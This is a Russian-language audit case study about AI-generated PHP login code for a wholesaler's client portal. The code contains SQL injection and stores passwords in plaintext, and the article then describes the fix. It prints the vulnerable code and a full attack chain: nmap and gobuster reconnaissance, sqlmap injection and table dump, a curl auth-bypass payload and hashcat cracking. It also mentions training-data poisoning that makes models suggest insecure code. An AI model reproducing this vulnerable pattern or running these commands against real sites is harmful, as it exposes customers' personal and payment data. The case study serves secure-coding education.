Оптовая компания, торгующая стройматериалами, решила дать клиентам личный кабинет: остатки на складе, история заказов, свои скидки, оформление заявок без звонка менеджеру. Штатного разработчика не было — наняли фрилансера. Тот использовал нейросеть-помощник для генерации кода и уложился в три дня вместо обещанных трёх недель. Заказчик был доволен: интерфейс аккуратный, всё работает, деньги сэкономлены.
Аудитора позвали не искать баги в этом модуле, а сделать общую проверку перед тем, как к системе подключат бухгалтерию — с реквизитами и платёжными данными. По ходу ревью кода всплыла функция проверки логина, которая вела себя не так, как положено: при определённом запросе в личный кабинет пускало любого клиента, не спрашивая пароль вообще.
Где технически была дыра
Код авторизации был написан в классическом «учебном» стиле — том самом, которым переполнены открытые репозитории и учебные датасеты, на которых тренируются языковые модели. Логин собирался прямой конкатенацией строки в SQL-запрос:
$login = $_POST['login'];
$password = $_POST['password'];
$query = "SELECT * FROM clients WHERE login = '$login' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
$_SESSION['user'] = mysqli_fetch_assoc($result);
header("Location: /cabinet.php");
}
Это учебниковый пример CWE-89 (SQL Injection) в сочетании с CWE-287 (Improper Authentication). Пароли при этом хранились в базе в открытом виде — сравнение шло напрямую по столбцу password, без password_hash() / password_verify(). Нейросеть сгенерировала рабочий, симпатичный на вид код — но по сути учебный пример пятнадцатилетней давности, который никогда не должен попадать в продакшен.
Как это эксплуатируется
Разведка — стандартный первый шаг любого пентеста, ничего специфичного под нейросетевой код:
$ nmap -p 80,443 -sV example-target.ru
PORT STATE SERVICE VERSION
80/tcp open http Apache/2.4.52
443/tcp open ssl/http Apache/2.4.52 (PHP 8.1)
$ gobuster dir -u https://example-target.ru -w /usr/share/wordlists/dirb/common.txt -x php
/login.php (Status: 200)
/cabinet.php (Status: 302)
/register.php (Status: 200)
/admin/ (Status: 403)
Дальше — точечная проверка формы логина на инъекцию. Достаточно вручную или через sqlmap:
$ sqlmap -u "https://example-target.ru/login.php" \
--data="login=test&password=test" \
--level=3 --risk=2 --batch
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[19:41:12] [INFO] the back-end DBMS is MySQL
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
После подтверждения — обход авторизации вручную одним запросом, без каких-либо учётных данных:
$ curl -X POST https://example-target.ru/login.php \
-d "login=any&password=' OR '1'='1' -- " \
-c cookies.txt -i
HTTP/1.1 302 Found
Location: /cabinet.php
Set-Cookie: PHPSESSID=8f3a1c...; path=/
Сессия получена без единого верного логина или пароля. Дальше — уже вопрос техники: sqlmap --dump -T clients вытаскивает всю таблицу целиком, включая поля с реквизитами:
$ sqlmap -u "https://example-target.ru/login.php" \
--data="login=test&password=test" \
--dump -T clients --batch
Table: clients
[8000 entries]
+----+-------+----------+---------+----------------+
| id | login | password | discount| payment_details|
+----+-------+----------+---------+----------------+
...
Если бы пароли хранились не в открытом виде, а хэшированы устаревшим алгоритмом (что при таком уровне кода не редкость — MD5 без соли), брутфорс занял бы часы:
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt
Session..........: hashcat
Status...........: Cracked
Recovered........: 6214/8000 (77.68%)
Что и почему сработало бы дальше
Получив дамп таблицы clients, атакующий закрывает вопрос сразу по нескольким направлениям:
- Персональные данные 8000 клиентов — телефоны, email, юрлица — готовый актив для продажи конкурентам или спам-рассылок.
- Индивидуальные скидки и история заказов — прямой инструмент для переманивания клиентов конкурентом, который «случайно» узнал условия каждого.
- Реквизиты для оплаты у части клиентов — риск мошенничества уже в адрес самих контрагентов компании.
- Активные сессии через ту же дыру — доступ не только на чтение, но и на оформление заказов от чужого имени, что бьёт по логистике и складу.
Отдельно стоит сказать про источник проблемы. Публикация, из-за которой поднялась эта тема, показывает: заразить обучающую выборку модели вредоносным паттерном кода можно буквально за 100 долларов — небольшого числа отравленных документов в датасете достаточно, чтобы модель систематически предлагала уязвимый код тысячам разработчиков, ничего не подозревая об этом. Но даже без злого умысла со стороны атакующих на модель — LLM просто статистически чаще выдают «типовые» конструкции из старых туториалов, где SQL собирается конкатенацией, а пароли сравниваются напрямую. Разработчик получил рабочий фрагмент, он прошёл визуальную проверку («работает же»), но не прошёл проверку на здравый смысл специалистом по безопасности.
Как закрыли дыру
Работа заняла пару часов, потому что архитектурно всё остальное было сделано нормально — правился один слой:
// Подготовленный запрос вместо конкатенации
$stmt = $conn->prepare("SELECT * FROM clients WHERE login = ?");
$stmt->bind_param("s", $login);
$stmt->execute();
$result = $stmt->get_result();
if ($row = $result->fetch_assoc()) {
if (password_verify($password, $row['password_hash'])) {
session_regenerate_id(true);
$_SESSION['user'] = $row['id'];
}
}
Параллельно:
- пароли в базе перехэшированы через
password_hash()(bcrypt), старые открытые значения удалены после миграции; - добавлен журнал неудачных попыток входа и лимит: 5 попыток → временная блокировка IP (можно реализовать через
fail2banна уровне веб-сервера или счётчиком в Redis); - настроено уведомление владельцу в мессенджер при серии неудачных логинов под разными аккаунтами с одного IP — типичный признак перебора или разведки;
- весь остальной код модуля прогнан через статический анализатор — в данном случае вручную плюс
semgrepс готовыми правилами для PHP:
$ semgrep --config p/php --config p/security-audit ./cabinet/
cabinet/export.php
❯ php.lang.security.injection.tainted-sql-string
Found user input reaching SQL query without sanitization
cabinet/upload.php
❯ php.lang.security.file-inclusion
Unvalidated file path used in include()
Так нашлись ещё две мелкие недоработки — экспорт данных с той же проблемой конкатенации и небезопасное подключение файлов в модуле загрузки документов. Обе устранены в рамках той же итерации.
Нейросеть — отличный помощник, но она не несёт ответственности за то, что написала. Ответственность всегда на человеке, который принимает код.
Что с этим делать бизнесу
Использование нейросетей для написания кода — это нормальная и выгодная практика, отказываться от неё нет смысла. Проблема не в инструменте, а в отсутствии верификации на выходе. Практический минимум для любой компании, где код для CRM, сайта или внутренних отчётов пишется с помощью ИИ-ассистента:
- любой код, работающий с авторизацией, персональными данными или деньгами, проходит проверку человеком до вывода в продакшен — независимо от того, кто его написал: штатный разработчик, фрилансер или модель;
- в CI/CD добавляется хотя бы базовый SAST-шаг (
semgrep,bandit,CodeQL— в зависимости от стека), который ловит типовые паттерны вроде конкатенации в SQL и захардкоженных секретов; - перед подключением нового модуля к боевым данным клиентов проводится точечный аудит именно узлов авторизации и работы с БД — это не требует недель, обычно хватает нескольких часов.
По 152-ФЗ штраф за утечку персональных данных такого масштаба варьируется от 100 тысяч до 18 миллионов рублей в зависимости от объёма и повторности нарушения. Но в реальных кейсах отток клиентов после публичной утечки обычно обходится компании дороже любого штрафа — это годы работы отдела продаж, которые обнуляются за один инфоповод.
